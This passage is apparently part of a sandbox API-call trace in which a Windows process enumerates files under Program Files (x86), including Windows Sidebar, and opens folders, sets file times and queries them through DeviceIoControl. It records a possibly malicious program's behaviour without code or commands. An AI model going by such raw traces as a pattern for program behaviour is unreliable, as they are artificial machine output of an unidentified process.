(Handle=0x16c) returned 0x0 [0089.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.780] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.780] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.780] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0089.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.782] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0089.782] GetLastError () returned 0x12 [0089.782] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0089.782] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.782] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.782] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0089.782] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0089.782] GetLastError () returned 0x12 [0089.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.782] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.783] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0089.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar" (normalized: "c:\\program files (x86)\\windows sidebar"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar" (normalized: "c:\\program files (x86)\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.784] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.784] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.785] NtClose (Handle=0x178) returned 0x0 [0089.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.786] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0089.786] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.786] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.786] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0089.786] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334cc8b0, ftCreationTime.dwHighDateTime=0x1d5b7c8, ftLastAccessTime.dwLowDateTime=0xbf7409f0, ftLastAccessTime.dwHighDateTime=0x1d5a23f, ftLastWriteTime.dwLowDateTime=0xbf7409f0, ftLastWriteTime.dwHighDateTime=0x1d5a23f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1 [0089.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.787] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6cc007, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b6cc007, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xadcc4370, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0089.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.789] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c393c21, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c393c21, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0089.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c20c8 [0089.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.791] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="")) returned 1 [0089.791] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e26afc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e26afc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e4cc5c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0089.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.792] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b27b844, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b27b844, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1525cf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0089.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.793] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b27b844, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b27b844, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1525cf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0089.793] GetLastError () returned 0x12 [0089.794] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.794] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.794] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.794] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.796] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.796] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.796] NtClose (Handle=0x178) returned 0x0 [0089.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.797] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.797] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.797] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0089.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c20e8 [0089.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.799] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0089.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2108 [0089.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efa30 [0089.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.801] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0089.801] GetLastError () returned 0x12 [0089.801] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.801] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.801] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.801] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0089.801] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, 